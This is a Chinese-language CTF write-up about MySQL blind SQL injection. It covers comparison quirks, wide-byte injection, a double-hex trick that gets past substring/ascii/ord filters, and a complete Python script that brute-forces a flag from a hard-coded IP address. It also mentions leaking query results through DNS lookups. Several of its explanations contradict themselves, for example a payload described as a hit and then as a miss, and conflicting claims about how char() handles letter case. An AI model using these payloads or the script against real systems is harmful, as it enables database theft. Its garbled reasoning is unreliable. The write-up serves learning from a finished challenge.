一道 CTF 题引发的思考:MySQL 的几个特性
背景
前天在做一道 CTF 盲注题。其实盲注也有可能回显数据——比如利用 DNS 或 HTTP 日志快速获取数据,MySQL 可以用 LOAD_FILE() 函数读取数据并向远程 DNS 主机发送,此时 DNS 日志文件中就会有盲注语句的查询结果。这里不做这部分的讨论,只是说下有这种方法。在这道题目中我使用的是常规盲注方式获取数据,过程中遇到了以下几个问题:
- 过滤规则的判断与绕过;
- MySQL 的一些少有人总结的特性;
- 手动盲注的繁琐低效。
这题确实让我思考了很多,当然还有一些特性当时不太清楚(下面会逐一澄清)。
MySQL 的几个特性
先把 MySQL 的特性理清楚,再说题目——这样的顺序更容易理解当时为什么要用 hex()。
(1) 字符串比较大小写不敏感
mysql> select '1abc'='1AbC';
+---------------+
| '1abc'='1AbC' |
+---------------+
| 1 |
+---------------+
1 row in set
非二进制字符串(varchar/char 在 utf8/latin1 等字符集下的默认类型)按 collation 比较,常见的 collation 默认大小写不敏感。
(2) 数字的字符串与数字本身相等
mysql> select 123=123; -- 1
mysql> select '123'=123; -- 1
MySQL 在数值上下文中会把字符串隐式转为数字,所以 '123' 等于 123。
(3) hex() 返回的是字符串
hex('abc') 的结果是 616263——一个字符串,不是二进制字面量。由于特性 (2),当 hex 结果恰好全是数字时(如 616263),它也会等于数值 616263,这就造成了误解,让人觉得 hex() 返回的是数字:
mysql> select hex('abc')=616263; -- 1 (全是数字,按特性 2 隐式转为数字比较)
mysql> select hex('abc')='616263'; -- 1 (字符串比较)
换成 hex('root')(结果 726F6F74,含字母),真相就暴露了:
mysql> select hex('root')=726F6F74;
-- 1054 - Unknown column '726F6F74' in 'field list'
726F6F74 不全是数字,MySQL 把它当列名了。必须加引号才能按字符串比较:
mysql> select hex('root')='726F6F74'; -- 1
mysql> select hex('root')=0x726F6F74; -- 0 (字符串 "726F6F74" vs 二进制 root)
mysql> select 0x726F6F74; -- root
mysql> select hex('726F6F74'); -- 3732364636463734
mysql> select hex('root')=0x3732364636463734; -- 1 (字符串 "726F6F74" vs 字节值 "726F6F74")

(4) char() 的大小写之谜
MySQL 中引号的替代方式有两种:十六进制(0x...)和 char()。这里说下 char() 在比较时的一个反直觉特性。
枚举时我发现 char(84) 和 char(116) 的结果一样——char(84) 解码是 T,char(116) 是 t。按照特性 (1) 的理解,我以为 't'=char(84) 会等于 1,结果返回了 0:
mysql> select char(84); -- T
mysql> select 't'=char(84); -- 0
当时确实没想明白,原文里写了「这个问题我至今还未想明白」。根因后来搞清楚了。
结论:字符串与
char()比较时是强匹配(大小写敏感)。
盲注实战
宽字节注入与过滤检测
注入方式的判断属于常规流程,最终用的是宽字节注入。
判断过滤的方式:本地写好 payload,观察基线行为,再放到真实靶场上测试,比较响应长度。一致就是没过滤,不一致就是过滤了。
先做基线对比:if((1=1),1,0) 真值返回 Content-Length: 2339;if((1=2),1,0) 假值返回 417。这是后续判断「响应长度是否变化」的基准。

由于是宽字节注入,无法正常用引号声明字符串,所以用 char() 编码。本地 payload:
if((substring(user(),1,1)=char(114)),1,0)
-- 遍历 114 的位置:正确字符返回长度 2339,错误返回 417
mysql> select user from users where user_id=-1
-> or if((substring(user(),1,1)=char(114)),1,0);
+---------+
| user |
+---------+
| admin |
| gordonb |
| 1337 |
| pablo |
| smithy |
+---------+
5 rows in set
不管枚举什么,响应都停在 2339——说明 substring、char() 或 user() 被过滤了。测试确认是 substring。
BurpSuite Intruder 把 char(84) 和 char(116) 当作候选 payload 注入后,两个 payload 都返回了 2534(注意长度是 2534 而不是基线 2339/417,原因是 Intruder 模式下多包响应长度被加上了一些 body 头),但行为一致——这一点一开始并没有马上意识到「char(84)=T 和 char(116)=t 在被比较时居然是等价的」,是这个 CTF 真正反直觉的地方。

过滤清单:substring、mid、ord、ascii 全被过滤。只剩 left() 和 char()。但 left() + char() 无法直接恢复大小写混合的 flag,因为 char() 比较是大小写敏感的,char(84) 和 char(116) 无法用这种方式区分。
用 hex() 绕过过滤
突破口:hex() 对大小写字符产生的 hex 不同(大小写敏感),可以用来严格匹配大小写:
mysql> select hex('Ro'); -- 526F
mysql> select hex('RO'); -- 524F
mysql> select hex('RO')=0x35323446; -- 1 (0x35323446 的字节值是字符串 "524F")
手动对 t 做二次 hex 编码得到 0x3734(hex('t')='74',hex('74')='3734',而 0x3734 的字节值是字符串 74),手动验证了想法可行。
实测的 Burp 拦截效果:hex(left((select(user())),1))=0x3734 时返回长度 2339(命中——hex('r')='72',但这里枚举的是 ’t’,按字符位置 1 应该是 ‘r’,所以 ’t’ 不在位置 1,下一条对照 0x3735 返回 417 验证了「长度差 = 命中/未命中」。

注入 payload 如下:
if((hex(left((select(flag)from(flag)),1))=0x3734),1,0)
-- hex(left(...,1))='74'; 0x3734 的字节值是 '74'; 相等即命中
自动化脚本
手动盲注太慢——直接上 Python。原文是 2017 年的 Python 2 脚本,这里更新为 Python 3:
# -*- coding: utf-8 -*-
# by Thinking
# Python 3 盲注自动化( adapted from 2017 original)
import requests
import string
URL = "http://218.2.197.235:23733/index.php?key=002265%bf'||+"
PAYLOADS = string.ascii_letters + string.digits + string.punctuation
def double_hex(ch):
"""对单个字符做二次 hex 编码: 't' -> '74' -> '3734'"""
return ch.encode().hex().upper().encode().hex()
def get_len(sqli):
"""获取子查询结果的长度"""
for length in range(1, 51):
payload = "if((({})={}),1,0)%23".format(sqli, length)
r = requests.get(URL + payload)
if len(r.content) > 2000:
print(length)
return length
return 0
def get_data(sqli, length):
"""用 hex()+left() 做大小写敏感的逐字符爆破"""
result = ""
temp = "" # 已确认字符的二次 hex 累积
for pos in range(1, length + 1):
for ch in PAYLOADS:
encoded = temp + double_hex(ch)
payload = "if((hex(left(({}),{}))=0x{}),1,0)%23".format(sqli, pos, encoded)
r = requests.get(URL + payload)
if len(r.content) > 2000:
result += ch
temp += double_hex(ch)
print(result.ljust(length, "-"))
break
def main():
length_sqli = "select(length(flag))from(flag)"
data_len = get_len(length_sqli)
flag_sqli = "select(flag)from(flag)"
get_data(flag_sqli, data_len)
if __name__ == "__main__":
main()

写在最后
这道题真正的收获不是某个巧妙的 payload,而是把几个 MySQL 底层特性串了起来:
- 字符串比较大小写不敏感(特性 1)让基于
=的枚举成为可能,但也意味着无法恢复大小写; char()返回 BINARY(特性 4,原文中的"未解之谜")——根因是逐字节的 binary collation,与特性 1 并不矛盾;hex()返回字符串而0x是二进制字面量(特性 3)——这个类型错配是绕过substring/ascii/ord过滤、实现大小写敏感匹配的关键。二次 hex 编码让0x字面量的字节值恰好等于 hex 字符串本身。
做 CTF 题往往是这样的:题目本身不难,但追着一个反直觉的行为一路挖到 collation 和字节类型,收获远比 flag 本身大。这种对"一致性缝隙"的追问——表面行为与底层机制之间的缝隙——在日常审计中也是值得停下来的地方。
题目已下线,payload 仅供学习。大家也多注意安全。